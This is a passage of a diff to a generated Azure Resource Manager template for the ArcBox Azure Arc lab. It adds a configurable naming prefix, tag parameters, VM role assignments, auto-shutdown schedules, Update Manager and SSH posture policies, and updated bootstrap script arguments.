'ITPro'" } + }, + "namingPrefix": { + "type": "string", + "defaultValue": "ArcBox", + "maxLength": 7, + "metadata": { + "description": "The naming prefix for the nested virtual machines. Example: ArcBox-Win2k19" + } } }, "variables": { @@ -864,7 +946,7 @@ "osDiskType": "Premium_LRS", "k3sControlPlane": "true", "diskSize": "[if(equals(parameters('flavor'), 'DataOps'), 512, 64)]", - "numberOfIPAddresses": "[if(equals(parameters('flavor'), 'DataOps'), 7, 5)]" + "numberOfIPAddresses": "[if(equals(parameters('flavor'), 'DataOps'), 8, 5)]" }, "resources": [ { @@ -920,7 +1002,6 @@ "apiVersion": "2022-03-01", "name": "[parameters('vmName')]", "location": "[parameters('azureLocation')]", - "tags": "[parameters('resourceTags')]", "identity": { "type": "SystemAssigned" }, @@ -985,6 +1066,19 @@ "[resourceId('Microsoft.Compute/virtualMachines', parameters('vmName'))]" ] }, + { + "type": "Microsoft.Authorization/roleAssignments", + "apiVersion": "2022-04-01", + "name": "[guid(resourceId('Microsoft.Compute/virtualMachines', parameters('vmName')), 'Microsoft.Authorization/roleAssignments', 'Storage Blob Data Contributor')]", + "properties": { + "principalId": "[reference(resourceId('Microsoft.Compute/virtualMachines', parameters('vmName')), '2022-03-01', 'full').identity.principalId]", + "roleDefinitionId": "[resourceId('Microsoft.Authorization/roleDefinitions', 'ba92f5b4-2d11-453d-a403-e96b0029c9fe')]", + "principalType": "ServicePrincipal" + }, + "dependsOn": [ + "[resourceId('Microsoft.Compute/virtualMachines', parameters('vmName'))]" + ] + }, { "type": "Microsoft.Compute/virtualMachines/extensions", "apiVersion": "2022-03-01", @@ -1005,7 +1099,8 @@ }, "dependsOn": [ "[resourceId('Microsoft.Compute/virtualMachines', parameters('vmName'))]", - "[resourceId('Microsoft.Authorization/roleAssignments', guid(resourceId('Microsoft.Compute/virtualMachines', parameters('vmName')), 'Microsoft.Authorization/roleAssignments', 'Owner'))]" + "[resourceId('Microsoft.Authorization/roleAssignments', guid(resourceId('Microsoft.Compute/virtualMachines', parameters('vmName')), 'Microsoft.Authorization/roleAssignments', 'Owner'))]", + "[resourceId('Microsoft.Authorization/roleAssignments', guid(resourceId('Microsoft.Compute/virtualMachines', parameters('vmName')), 'Microsoft.Authorization/roleAssignments', 'Storage Blob Data Contributor'))]" ] } ] @@ -1042,7 +1137,7 @@ "value": "[parameters('logAnalyticsWorkspaceName')]" }, "stagingStorageAccountName": { - "value": "[reference(resourceId('Microsoft.Resources/deployments', 'stagingStorageAccountDeployment'), '2022-09-01').outputs.storageAccountName.value]" + "value": "[toLower(reference(resourceId('Microsoft.Resources/deployments', 'stagingStorageAccountDeployment'), '2022-09-01').outputs.storageAccountName.value)]" }, "templateBaseUrl": { "value": "[variables('templateBaseUrl')]" @@ -1056,6 +1151,9 @@ "deployBastion": { "value": "[parameters('deployBastion')]" }, + "githubBranch": { + "value": "[parameters('githubBranch')]" + }, "githubUser": { "value": "[parameters('githubUser')]" }, @@ -1085,6 +1183,24 @@ }, "customLocationRPOID": { "value": "[parameters('customLocationRPOID')]" + }, + "namingPrefix": { + "value": "[parameters('namingPrefix')]" + }, + "debugEnabled": { + "value": "[parameters('debugEnabled')]" + }, + "autoShutdownEnabled": { + "value": "[parameters('autoShutdownEnabled')]" + }, + "autoShutdownTime": { + "value": "[parameters('autoShutdownTime')]" + }, + "autoShutdownTimezone": { + "value": "[parameters('autoShutdownTimezone')]" + }, + "autoShutdownEmailRecipient": { + "value": "[parameters('autoShutdownEmailRecipient')]" } }, "template": { @@ -1093,21 +1209,21 @@ "metadata": { "_generator": { "name": "bicep", - "version": "0.28.1.47646", - "templateHash": "22323604518571401" + "version": "0.29.47.4906", + "templateHash": "5450393794893126300" } }, "parameters": { "vmName": { "type": "string", - "defaultValue": "ArcBox-Client", + "defaultValue": "[format('{0}-Client', parameters('namingPrefix'))]", "metadata": { "description": "The name of your Virtual Machine" } }, "k3sArcDataClusterName": { "type": "string", - "defaultValue": "ArcBox-K3s-Data", + "defaultValue": "[format('{0}-K3s-Data', parameters('namingPrefix'))]", "metadata": { "description": "The name of the Cluster API workload cluster to be connected as an Azure Arc-enabled Kubernetes cluster" } @@ -1161,12 +1277,6 @@ "description": "Resource Id of the subnet in the virtual network" } }, - "resourceTags": { - "type": "object", - "defaultValue": { - "Project": "jumpstart_arcbox" - } - }, "spnAuthority": { "type": "string", "defaultValue": "[environment().authentication.loginEndpoint]" @@ -1250,6 +1360,23 @@ "description": "The base URL used for accessing artifacts and automation artifacts." } }, + "resourceTags": { + "type": "object", + "defaultValue": { + "Solution": "jumpstart_arcbox" + }, + "metadata": { + "description": "Tags to assign for all ArcBox resources" + } + }, + "namingPrefix": { + "type": "string", + "defaultValue": "ArcBox", + "maxLength": 7, + "metadata": { + "description": "The naming prefix for the nested virtual machines. Example: ArcBox-Win2k19" + } + }, "flavor": { "type": "string", "defaultValue": "Full", @@ -1276,23 +1403,29 @@ "description": "User github account where they have forked https://github.com/microsoft/azure-arc-jumpstart-apps" } }, + "githubBranch": { + "type": "string", + "metadata": { + "description": "Git branch to use from the forked repo https://github.com/microsoft/azure-arc-jumpstart-apps" + } + }, "k3sArcClusterName": { "type": "string", - "defaultValue": "ArcBox-K3s", + "defaultValue": "[format('{0}-K3s', parameters('namingPrefix'))]", "metadata": { "description": "The name of the K3s cluster" } }, "aksArcClusterName": { "type": "string", - "defaultValue": "ArcBox-AKS-Data", + "defaultValue": "[format('{0}-AKS-Data', parameters('namingPrefix'))]", "metadata": { "description": "The name of the AKS cluster" } }, "aksdrArcClusterName": { "type": "string", - "defaultValue": "ArcBox-AKS-DR-Data", + "defaultValue": "[format('{0}-AKS-DR-Data', parameters('namingPrefix'))]", "metadata": { "description": "The name of the AKS DR cluster" } @@ -1317,10 +1450,33 @@ "metadata": { "description": "The SKU of the VMs disk" } + }, + "debugEnabled": { + "type": "bool", + "defaultValue": false, + "metadata": { + "description": "Use this parameter to enable or disable debug mode for the automation scripts on the client VM, effectively configuring PowerShell ErrorActionPreference to Break. Default is false." + } + }, + "autoShutdownEnabled": { + "type": "bool", + "defaultValue": false + }, + "autoShutdownTime": { + "type": "string", + "defaultValue": "1800" + }, + "autoShutdownTimezone": { + "type": "string", + "defaultValue": "UTC" + }, + "autoShutdownEmailRecipient": { + "type": "string", + "defaultValue": "" } }, "variables": { - "bastionName": "ArcBox-Bastion", + "bastionName": "[format('{0}-Bastion', parameters('namingPrefix'))]", "publicIpAddressName": "[if(equals(parameters('deployBastion'), false()), format('{0}-PIP', parameters('vmName')), format('{0}-PIP', variables('bastionName')))]", "networkInterfaceName": "[format('{0}-NIC', parameters('vmName'))]", "osDiskType": "Premium_LRS", @@ -1388,13 +1544,12 @@ "apiVersion": "2022-03-01", "name": "[parameters('vmName')]", "location": "[parameters('location')]", - "tags": "[parameters('resourceTags')]", "identity": { "type": "SystemAssigned" }, "properties": { "hardwareProfile": { - "vmSize": "[if(equals(parameters('flavor'), 'DevOps'), 'Standard_B4ms', if(equals(parameters('flavor'), 'DataOps'), 'Standard_D8s_v5', 'Standard_D16s_v5'))]" + "vmSize": "[if(equals(parameters('flavor'), 'DevOps'), 'Standard_B4ms', if(equals(parameters('flavor'), 'DataOps'), 'Standard_D4s_v5', 'Standard_D8s_v5'))]" }, "storageProfile": { "osDisk": { @@ -1461,7 +1616,7 @@ "fileUris": [ "[uri(parameters('templateBaseUrl'), 'artifacts/Bootstrap.ps1')]" ], - "commandToExecute": "[format('powershell.exe -ExecutionPolicy Bypass -File Bootstrap.ps1 -adminUsername {0} -adminPassword {1} -tenantId {2} -spnAuthority {3} -subscriptionId {4} -resourceGroup {5} -azdataUsername {6} -azdataPassword {7} -acceptEula {8} -registryUsername {9} -registryPassword {10} -arcDcName {11} -azureLocation {12} -mssqlmiName {13} -POSTGRES_NAME {14} -POSTGRES_WORKER_NODE_COUNT {15} -POSTGRES_DATASIZE {16} -POSTGRES_SERVICE_TYPE {17} -stagingStorageAccountName {18} -workspaceName {19} -templateBaseUrl {20} -flavor {21} -k3sArcDataClusterName {22} -k3sArcClusterName {23} -aksArcClusterName {24} -aksdrArcClusterName {25} -githubUser {26} -vmAutologon {27} -rdpPort {28} -addsDomainName {29} -customLocationRPOID {30}', parameters('windowsAdminUsername'), parameters('windowsAdminPassword'), parameters('tenantId'), parameters('spnAuthority'), subscription().subscriptionId, resourceGroup().name, parameters('azdataUsername'), parameters('azdataPassword'), parameters('acceptEula'), parameters('registryUsername'), parameters('registryPassword'), parameters('arcDcName'), parameters('location'), parameters('mssqlmiName'), parameters('postgresName'), parameters('postgresWorkerNodeCount'), parameters('postgresDatasize'), parameters('postgresServiceType'), parameters('stagingStorageAccountName'), parameters('workspaceName'), parameters('templateBaseUrl'), parameters('flavor'), parameters('k3sArcDataClusterName'), parameters('k3sArcClusterName'), parameters('aksArcClusterName'), parameters('aksdrArcClusterName'), parameters('githubUser'), parameters('vmAutologon'), parameters('rdpPort'), parameters('addsDomainName'), parameters('customLocationRPOID'))]" + "commandToExecute": "[format('powershell.exe -ExecutionPolicy Bypass -File Bootstrap.ps1 -adminUsername {0} -adminPassword {1} -tenantId {2} -spnAuthority {3} -subscriptionId {4} -resourceGroup {5} -azdataUsername {6} -azdataPassword {7} -acceptEula {8} -registryUsername {9} -registryPassword {10} -arcDcName {11} -azureLocation {12} -mssqlmiName {13} -POSTGRES_NAME {14} -POSTGRES_WORKER_NODE_COUNT {15} -POSTGRES_DATASIZE {16} -POSTGRES_SERVICE_TYPE {17} -stagingStorageAccountName {18} -workspaceName {19} -templateBaseUrl {20} -flavor {21} -k3sArcDataClusterName {22} -k3sArcClusterName {23} -aksArcClusterName {24} -aksdrArcClusterName {25} -githubUser {26} -githubBranch {27} -vmAutologon {28} -rdpPort {29} -addsDomainName {30} -customLocationRPOID {31} -resourceTags {32} -namingPrefix {33} -debugEnabled {34}', parameters('windowsAdminUsername'), parameters('windowsAdminPassword'), parameters('tenantId'), parameters('spnAuthority'), subscription().subscriptionId, resourceGroup().name, parameters('azdataUsername'), parameters('azdataPassword'), parameters('acceptEula'), parameters('registryUsername'), parameters('registryPassword'), parameters('arcDcName'), parameters('location'), parameters('mssqlmiName'), parameters('postgresName'), parameters('postgresWorkerNodeCount'), parameters('postgresDatasize'), parameters('postgresServiceType'), parameters('stagingStorageAccountName'), parameters('workspaceName'), parameters('templateBaseUrl'), parameters('flavor'), parameters('k3sArcDataClusterName'), parameters('k3sArcClusterName'), parameters('aksArcClusterName'), parameters('aksdrArcClusterName'), parameters('githubUser'), parameters('githubBranch'), parameters('vmAutologon'), parameters('rdpPort'), parameters('addsDomainName'), parameters('customLocationRPOID'), parameters('resourceTags'), parameters('namingPrefix'), parameters('debugEnabled'))]" } }, "dependsOn": [ @@ -1493,6 +1648,45 @@ "dependsOn": [ "[resourceId('Microsoft.Compute/virtualMachines', parameters('vmName'))]" ] + }, + { + "type": "Microsoft.Authorization/roleAssignments", + "apiVersion": "2022-04-01", + "name": "[guid(resourceId('Microsoft.Compute/virtualMachines', parameters('vmName')), 'Microsoft.Authorization/roleAssignments', 'Storage Blob Data Contributor')]", + "properties": { + "principalId": "[reference(resourceId('Microsoft.Compute/virtualMachines', parameters('vmName')), '2022-03-01', 'full').identity.principalId]", + "roleDefinitionId": "[resourceId('Microsoft.Authorization/roleDefinitions', 'ba92f5b4-2d11-453d-a403-e96b0029c9fe')]", + "principalType": "ServicePrincipal" + }, + "dependsOn": [ + "[resourceId('Microsoft.Compute/virtualMachines', parameters('vmName'))]" + ] + }, + { + "condition": "[parameters('autoShutdownEnabled')]", + "type": "Microsoft.DevTestLab/schedules", + "apiVersion": "2018-09-15", + "name": "[format('shutdown-computevm-{0}', parameters('vmName'))]", + "location": "[parameters('location')]", + "properties": { + "status": "Enabled", + "taskType": "ComputeVmShutdownTask", + "dailyRecurrence": { + "time": "[parameters('autoShutdownTime')]" + }, + "timeZoneId": "[parameters('autoShutdownTimezone')]", + "notificationSettings": { + "status": "Enabled", + "timeInMinutes": 30, + "webhookUrl": "", + "emailRecipient": "[parameters('autoShutdownEmailRecipient')]", + "notificationLocale": "en" + }, + "targetResourceId": "[resourceId('Microsoft.Compute/virtualMachines', parameters('vmName'))]" + }, + "dependsOn": [ + "[resourceId('Microsoft.Compute/virtualMachines', parameters('vmName'))]" + ] } ], "outputs": { @@ -1525,6 +1719,9 @@ "parameters": { "location": { "value": "[parameters('location')]" + }, + "namingPrefix": { + "value": "[parameters('namingPrefix')]" } }, "template": { @@ -1533,8 +1730,8 @@ "metadata": { "_generator": { "name": "bicep", - "version": "0.28.1.47646", - "templateHash": "13398955536480108720" + "version": "0.29.47.4906", + "templateHash": "8653137040194732155" } }, "parameters": { @@ -1557,23 +1754,33 @@ "metadata": { "description": "Location for all resources." } + }, + "namingPrefix": { + "type": "string", + "defaultValue": "ArcBox", + "maxLength": 7, + "metadata": { + "description": "The naming prefix for the nested virtual machines. Example: ArcBox-Win2k19" + } } }, "variables": { - "storageAccountName": "[format('arcbox{0}', uniqueString(resourceGroup().id))]" + "storageAccountName": "[format('{0}{1}', parameters('namingPrefix'), uniqueString(resourceGroup().id))]" }, "resources": [ { "type": "Microsoft.Storage/storageAccounts", "apiVersion": "2022-05-01", - "name": "[variables('storageAccountName')]", + "name": "[toLower(variables('storageAccountName'))]", "location": "[parameters('location')]", "sku": { "name": "[parameters('storageAccountType')]" }, "kind": "StorageV2", "properties": { - "supportsHttpsTrafficOnly": true + "supportsHttpsTrafficOnly": true, + "isLocalUserEnabled": false, + "allowSharedKeyAccess": false } } ], @@ -1610,6 +1817,12 @@ }, "location": { "value": "[parameters('location')]" + }, + "resourceTags": { + "value": "[parameters('resourceTags')]" + }, + "namingPrefix": { + "value": "[parameters('namingPrefix')]" } }, "template": { @@ -1618,49 +1831,49 @@ "metadata": { "_generator": { "name": "bicep", - "version": "0.28.1.47646", - "templateHash": "13551937596645655018" + "version": "0.29.47.4906", + "templateHash": "1172818642563861188" } }, "parameters": { "virtualNetworkName": { "type": "string", - "defaultValue": "ArcBox-VNet", + "defaultValue": "[format('{0}-VNet', parameters('namingPrefix'))]", "metadata": { "description": "Name of the VNet" } }, "subnetName": { "type": "string", - "defaultValue": "ArcBox-Subnet", + "defaultValue": "[format('{0}-Subnet', parameters('namingPrefix'))]", "metadata": { "description": "Name of the subnet in the virtual network" } }, "aksSubnetName": { "type": "string", - "defaultValue": "ArcBox-AKS-Subnet", + "defaultValue": "[format('{0}-AKS-Subnet', parameters('namingPrefix'))]", "metadata": { "description": "Name of the subnet in the virtual network" } }, "dcSubnetName": { "type": "string", - "defaultValue": "ArcBox-DC-Subnet", + "defaultValue": "[format('{0}-DC-Subnet', parameters('namingPrefix'))]", "metadata": { "description": "Name of the Domain Controller subnet in the virtual network" } }, "drVirtualNetworkName": { "type": "string", - "defaultValue": "ArcBox-DR-VNet", + "defaultValue": "[format('{0}-DR-VNet', parameters('namingPrefix'))]", "metadata": { "description": "Name of the DR VNet" } }, "drSubnetName": { "type": "string", - "defaultValue": "ArcBox-DR-Subnet", + "defaultValue": "[format('{0}-DR-Subnet', parameters('namingPrefix'))]", "metadata": { "description": "Name of the DR subnet in the DR virtual network" } @@ -1717,14 +1930,14 @@ }, "networkSecurityGroupName": { "type": "string", - "defaultValue": "ArcBox-NSG", + "defaultValue": "[format('{0}-NSG', parameters('namingPrefix'))]", "metadata": { "description": "Name of the Network Security Group" } }, "bastionNetworkSecurityGroupName": { "type": "string", - "defaultValue": "ArcBox-Bastion-NSG", + "defaultValue": "[format('{0}-Bastion-NSG', parameters('namingPrefix'))]", "metadata": { "description": "Name of the Bastion Network Security Group" } @@ -1735,10 +1948,27 @@ "metadata": { "description": "DNS Server configuration" } + }, + "resourceTags": { + "type": "object", + "defaultValue": { + "Solution": "jumpstart_arcbox" + }, + "metadata": { + "description": "Tags to assign for all ArcBox resources" + } + }, + "namingPrefix": { + "type": "string", + "defaultValue": "ArcBox", + "maxLength": 7, + "metadata": { + "description": "The naming prefix for the nested virtual machines. Example: ArcBox-Win2k19" + } } }, "variables": { - "keyVaultName": "[format('arcbox{0}', uniqueString(resourceGroup().id))]", + "keyVaultName": "[toLower(format('{0}{1}', parameters('namingPrefix'), uniqueString(resourceGroup().id)))]", "security": { "name": "[format('Security({0})', parameters('workspaceName'))]", "galleryName": "Security" @@ -1751,7 +1981,7 @@ "drSubnetPrefix": "172.16.128.0/17", "bastionSubnetName": "AzureBastionSubnet", "bastionSubnetRef": "[format('{0}/subnets/{1}', resourceId('Microsoft.Network/virtualNetworks', parameters('virtualNetworkName')), variables('bastionSubnetName'))]", - "bastionName": "ArcBox-Bastion", + "bastionName": "[format('{0}-Bastion', parameters('namingPrefix'))]", "bastionSubnetIpPrefix": "10.16.3.64/26", "bastionPublicIpAddressName": "[format('{0}-PIP', variables('bastionName'))]", "primarySubnet": [ @@ -1812,7 +2042,8 @@ }, "dependsOn": [ "[resourceId('Microsoft.Network/networkSecurityGroups', parameters('bastionNetworkSecurityGroupName'))]", - "[resourceId('Microsoft.Network/networkSecurityGroups', parameters('networkSecurityGroupName'))]" + "[resourceId('Microsoft.Network/networkSecurityGroups', parameters('networkSecurityGroupName'))]", + "[resourceId('Microsoft.Resources/deployments', 'policyDeployment')]" ] }, { @@ -1843,7 +2074,8 @@ ] }, "dependsOn": [ - "[resourceId('Microsoft.Network/networkSecurityGroups', parameters('networkSecurityGroupName'))]" + "[resourceId('Microsoft.Network/networkSecurityGroups', parameters('networkSecurityGroupName'))]", + "[resourceId('Microsoft.Resources/deployments', 'policyDeployment')]" ] }, { @@ -1862,7 +2094,8 @@ }, "dependsOn": [ "[resourceId('Microsoft.Network/virtualNetworks', parameters('virtualNetworkName'))]", - "[resourceId('Microsoft.Network/virtualNetworks', parameters('drVirtualNetworkName'))]" + "[resourceId('Microsoft.Network/virtualNetworks', parameters('drVirtualNetworkName'))]", + "[resourceId('Microsoft.Resources/deployments', 'policyDeployment')]" ] }, { @@ -1881,7 +2114,8 @@ }, "dependsOn": [ "[resourceId('Microsoft.Network/virtualNetworks', parameters('virtualNetworkName'))]", - "[resourceId('Microsoft.Network/virtualNetworks', parameters('drVirtualNetworkName'))]" + "[resourceId('Microsoft.Network/virtualNetworks', parameters('drVirtualNetworkName'))]", + "[resourceId('Microsoft.Resources/deployments', 'policyDeployment')]" ] }, { @@ -1996,7 +2230,10 @@ } } ] - } + }, + "dependsOn": [ + "[resourceId('Microsoft.Resources/deployments', 'policyDeployment')]" + ] }, { "condition": "[equals(parameters('deployBastion'), true())]", @@ -2123,13 +2360,17 @@ } } ] - } + }, + "dependsOn": [ + "[resourceId('Microsoft.Resources/deployments', 'policyDeployment')]" + ] }, { "type": "Microsoft.OperationalInsights/workspaces", "apiVersion": "2021-06-01", "name": "[parameters('workspaceName')]", "location": "[parameters('location')]", + "tags": "[parameters('resourceTags')]", "properties": { "sku": { "name": "[parameters('sku')]" @@ -2167,7 +2408,10 @@ }, "sku": { "name": "Standard" - } + }, + "dependsOn": [ + "[resourceId('Microsoft.Resources/deployments', 'policyDeployment')]" + ] }, { "condition": "[equals(parameters('deployBastion'), true())]", @@ -2184,6 +2428,7 @@ }, "dependsOn": [ "[resourceId('Microsoft.Network/virtualNetworks', parameters('virtualNetworkName'))]", + "[resourceId('Microsoft.Resources/deployments', 'policyDeployment')]", "[resourceId('Microsoft.Network/publicIPAddresses', variables('bastionPublicIpAddressName'))]" ] }, @@ -2205,6 +2450,9 @@ }, "flavor": { "value": "[parameters('flavor')]" + }, + "resourceTags": { + "value": "[parameters('resourceTags')]" } }, "template": { @@ -2213,8 +2461,8 @@ "metadata": { "_generator": { "name": "bicep", - "version": "0.28.1.47646", - "templateHash": "7039268725033092123" + "version": "0.29.47.4906", + "templateHash": "9222970623693331004" } }, "parameters": { @@ -2235,6 +2483,31 @@ "metadata": { "description": "The flavor of ArcBox you want to deploy. Valid values are: 'Full', 'ITPro', 'DevOps'" } + }, + "resourceTags": { + "type": "object", + "defaultValue": { + "Solution": "jumpstart_arcbox" + }, + "metadata": { + "description": "Tags to assign for all ArcBox resources" + } + }, + "azureUpdateManagerArcPolicyId": { + "type": "string", + "defaultValue": "/providers/Microsoft.Authorization/policyDefinitions/bfea026e-043f-4ff4-9d1b-bf301ca7ff46" + }, + "azureUpdateManagerAzurePolicyId": { + "type": "string", + "defaultValue": "/providers/Microsoft.Authorization/policyDefinitions/59efceea-0c96-497e-a4a1-4eb2290dac15" + }, + "sshPostureControlAzurePolicyId": { + "type": "string", + "defaultValue": "/providers/Microsoft.Authorization/policyDefinitions/a8f3e6a6-dcd2-434c-b0f7-6f309ce913b4" + }, + "tagsRoleDefinitionId": { + "type": "string", + "defaultValue": "[format('/subscriptions/{0}/providers/Microsoft.Authorization/roleDefinitions/b24988ac-6180-42a0-ab88-20f7382dd24c', subscription().subscriptionId)]" } }, "variables": { @@ -2260,25 +2533,6 @@ } } }, - { - "name": "(ArcBox) Tag resources", - "definitionId": "/providers/Microsoft.Authorization/policyDefinitions/4f9dc7db-30c1-420c-b61a-e1d640128d26", - "flavors": [ - "Full", - "ITPro", - "DevOps", - "DataOps" - ], - "roleDefinition": "[format('/subscriptions/{0}/providers/Microsoft.Authorization/roleDefinitions/b24988ac-6180-42a0-ab88-20f7382dd24c', subscription().subscriptionId)]", - "parameters": { - "tagName": { - "value": "Project" - }, - "tagValue": { - "value": "jumpstart_arcbox" - } - } - }, { "name": "(ArcBox) Enable Microsoft Defender on Kubernetes clusters", "definitionId": "/providers/Microsoft.Authorization/policyDefinitions/708b60a6-d253-4fe0-9114-4be4c00f012c", @@ -2367,18 +2621,138 @@ ] }, { - "condition": "[contains(variables('policies')[2].flavors, parameters('flavor'))]", + "copy": { + "name": "applyCustomTags", + "count": "[length(items(parameters('resourceTags')))]" + }, + "type": "Microsoft.Authorization/policyAssignments", + "apiVersion": "2021-06-01", + "name": "[format('(ArcBox) Tag resources-{0}', items(parameters('resourceTags'))[copyIndex()].key)]", + "location": "[parameters('azureLocation')]", + "identity": { + "type": "SystemAssigned" + }, + "properties": { + "policyDefinitionId": "/providers/Microsoft.Authorization/policyDefinitions/4f9dc7db-30c1-420c-b61a-e1d640128d26", + "parameters": { + "tagName": { + "value": "[items(parameters('resourceTags'))[copyIndex()].key]" + }, + "tagValue": { + "value": "[items(parameters('resourceTags'))[copyIndex()].value]" + } + } + } + }, + { + "copy": { + "name": "policy_tagging_resources", + "count": "[length(items(parameters('resourceTags')))]" + }, "type": "Microsoft.Authorization/roleAssignments", "apiVersion": "2020-10-01-preview", - "name": "[guid(variables('policies')[2].name, variables('policies')[2].roleDefinition, resourceGroup().id)]", + "name": "[guid(format('(ArcBox) Tag resources-{0}', items(parameters('resourceTags'))[copyIndex()].key), parameters('tagsRoleDefinitionId'), resourceGroup().id)]", "properties": { - "roleDefinitionId": "[variables('policies')[2].roleDefinition]", - "principalId": "[if(contains(variables('policies')[2].flavors, parameters('flavor')), reference(resourceId('Microsoft.Authorization/policyAssignments', variables('policies')[2].name), '2021-06-01', 'full').identity.principalId, guid(format('policies_name_id{0}', 0)))]", + "roleDefinitionId": "[parameters('tagsRoleDefinitionId')]", + "principalId": "[reference(resourceId('Microsoft.Authorization/policyAssignments', format('(ArcBox) Tag resources-{0}', items(parameters('resourceTags'))[copyIndex()].key)), '2021-06-01', 'full').identity.principalId]", "principalType": "ServicePrincipal" }, "dependsOn": [ - "[resourceId('Microsoft.Authorization/policyAssignments', variables('policies')[2].name)]" + "[resourceId('Microsoft.Authorization/policyAssignments', format('(ArcBox) Tag resources-{0}', items(parameters('resourceTags'))[copyIndex()].key))]", + "[resourceId('Microsoft.Authorization/policyAssignments', format('(ArcBox) Tag resources-{0}', items(parameters('resourceTags'))[copyIndex()].key))]" ] + }, + { + "type": "Microsoft.Authorization/policyAssignments", + "apiVersion": "2024-04-01", + "name": "(ArcBox) Enable Azure Update Manager for Linux hybrid machines", + "location": "[parameters('azureLocation')]", + "identity": { + "type": "SystemAssigned" + }, + "properties": { + "displayName": "(ArcBox) Enable Azure Update Manager for Arc-enabled Linux machines", + "description": "Enable Azure Update Manager for Arc-enabled machines", + "policyDefinitionId": "[parameters('azureUpdateManagerArcPolicyId')]", + "parameters": { + "osType": { + "value": "Linux" + } + } + } + }, + { + "type": "Microsoft.Authorization/policyAssignments", + "apiVersion": "2024-04-01", + "name": "(ArcBox) Enable Azure Update Manager for Windows hybrid machines", + "location": "[parameters('azureLocation')]", + "identity": { + "type": "SystemAssigned" + }, + "properties": { + "displayName": "(ArcBox) Enable Azure Update Manager for Arc-enabled Windows machines", + "description": "Enable Azure Update Manager for Arc-enabled machines", + "policyDefinitionId": "[parameters('azureUpdateManagerArcPolicyId')]", + "parameters": { + "osType": { + "value": "Windows" + } + } + } + }, + { + "type": "Microsoft.Authorization/policyAssignments", + "apiVersion": "2024-04-01", + "name": "(ArcBox) Enable Azure Update Manager for Azure Windows machines", + "location": "[parameters('azureLocation')]", + "identity": { + "type": "SystemAssigned" + }, + "properties": { + "displayName": "(ArcBox) Enable Azure Update Manager for Azure Windows machines", + "description": "Enable Azure Update Manager for Azure machines", + "policyDefinitionId": "[parameters('azureUpdateManagerAzurePolicyId')]", + "parameters": { + "osType": { + "value": "Windows" + } + } + } + }, + { + "type": "Microsoft.Authorization/policyAssignments", + "apiVersion": "2024-04-01", + "name": "(ArcBox) Enable Azure Update Manager for Azure Linux machines", + "location": "[parameters('azureLocation')]", + "identity": { + "type": "SystemAssigned" + }, + "properties": { + "displayName": "(ArcBox) Enable Azure Update Manager for Azure Linux machines", + "description": "Enable Azure Update Manager for Azure machines", + "policyDefinitionId": "[parameters('azureUpdateManagerAzurePolicyId')]", + "parameters": { + "osType": { + "value": "Linux" + } + } + } + }, + { + "type": "Microsoft.Authorization/policyAssignments", + "apiVersion": "2024-04-01", + "name": "(ArcBox) Enable SSH Posture Control audit", + "location": "[parameters('azureLocation')]", + "properties": { + "displayName": "(ArcBox) Enable SSH Posture Control audit", + "description": "Enable SSH Posture Control in audit mode", + "policyDefinitionId": "[parameters('sshPostureControlAzurePolicyId')]", + "parameters": { + "IncludeArcMachines": { + "value": "true" + } + } + } } ] } @@ -2398,7 +2772,7 @@ "mode": "Incremental", "parameters": { "name": { - "value": "[variables('keyVaultName')]" + "value": "[toLower(variables('keyVaultName'))]" }, "enablePurgeProtection": { "value": false @@ -4844,7 +5218,10 @@ } } } - } + }, + "dependsOn": [ + "[resourceId('Microsoft.Resources/deployments', 'policyDeployment')]" + ] } ], "outputs": { @@ -4888,6 +5265,9 @@ }, "azureLocation": { "value": "[parameters('location')]" + }, + "namingPrefix": { + "value": "[parameters('namingPrefix')]" } }, "template": { @@ -4896,8 +5276,8 @@ "metadata": { "_generator": { "name": "bicep", - "version": "0.28.1.47646", - "templateHash": "18226793547524313931" + "version": "0.29.47.4906", + "templateHash": "6158909554667476108" } }, "parameters": { @@ -4910,7 +5290,7 @@ }, "clientVMName": { "type": "string", - "defaultValue": "ArcBox-ADDS", + "defaultValue": "[format('{0}-ADDS', parameters('namingPrefix'))]", "metadata": { "description": "The name of your Virtual Machine" } @@ -4964,14 +5344,22 @@ "metadata": { "description": "Base URL for ARM template" } + }, + "namingPrefix": { + "type": "string", + "defaultValue": "ArcBox", + "maxLength": 7, + "metadata": { + "description": "The naming prefix for the nested virtual machines. Example: ArcBox-Win2k19" + } } }, "variables": { "networkInterfaceName": "[format('{0}-NIC', parameters('clientVMName'))]", - "virtualNetworkName": "ArcBox-VNet", - "dcSubnetName": "ArcBox-DC-Subnet", + "virtualNetworkName": "[format('{0}-VNet', parameters('namingPrefix'))]", + "dcSubnetName": "[format('{0}-DC-Subnet', parameters('namingPrefix'))]", "addsPrivateIPAddress": "10.16.2.100", - "bastionName": "ArcBox-Bastion", + "bastionName": "[format('{0}-Bastion', parameters('namingPrefix'))]", "osDiskType": "Premium_LRS", "subnetRef": "[resourceId('Microsoft.Network/virtualNetworks/subnets', variables('virtualNetworkName'), variables('dcSubnetName'))]", "networkInterfaceRef": "[resourceId('Microsoft.Network/networkInterfaces', variables('networkInterfaceName'))]", @@ -5130,6 +5518,9 @@ "10.16.2.100", "168.63.129.16" ] + }, + "namingPrefix": { + "value": "[parameters('namingPrefix')]" } }, "template": { @@ -5138,49 +5529,49 @@ "metadata": { "_generator": { "name": "bicep", - "version": "0.28.1.47646", - "templateHash": "13551937596645655018" + "version": "0.29.47.4906", + "templateHash": "1172818642563861188" } }, "parameters": { "virtualNetworkName": { "type": "string", - "defaultValue": "ArcBox-VNet", + "defaultValue": "[format('{0}-VNet', parameters('namingPrefix'))]", "metadata": { "description": "Name of the VNet" } }, "subnetName": { "type": "string", - "defaultValue": "ArcBox-Subnet", + "defaultValue": "[format('{0}-Subnet', parameters('namingPrefix'))]", "metadata": { "description": "Name of the subnet in the virtual network" } }, "aksSubnetName": { "type": "string", - "defaultValue": "ArcBox-AKS-Subnet", + "defaultValue": "[format('{0}-AKS-Subnet', parameters('namingPrefix'))]", "metadata": { "description": "Name of the subnet in the virtual network" } }, "dcSubnetName": { "type": "string", - "defaultValue": "ArcBox-DC-Subnet", + "defaultValue": "[format('{0}-DC-Subnet', parameters('namingPrefix'))]", "metadata": { "description": "Name of the Domain Controller subnet in the virtual network" } }, "drVirtualNetworkName": { "type": "string", - "defaultValue": "ArcBox-DR-VNet", + "defaultValue": "[format('{0}-DR-VNet', parameters('namingPrefix'))]", "metadata": { "description": "Name of the DR VNet" } }, "drSubnetName": { "type": "string", - "defaultValue": "ArcBox-DR-Subnet", + "defaultValue": "[format('{0}-DR-Subnet', parameters('namingPrefix'))]", "metadata": { "description": "Name of the DR subnet in the DR virtual network" } @@ -5237,14 +5628,14 @@ }, "networkSecurityGroupName": { 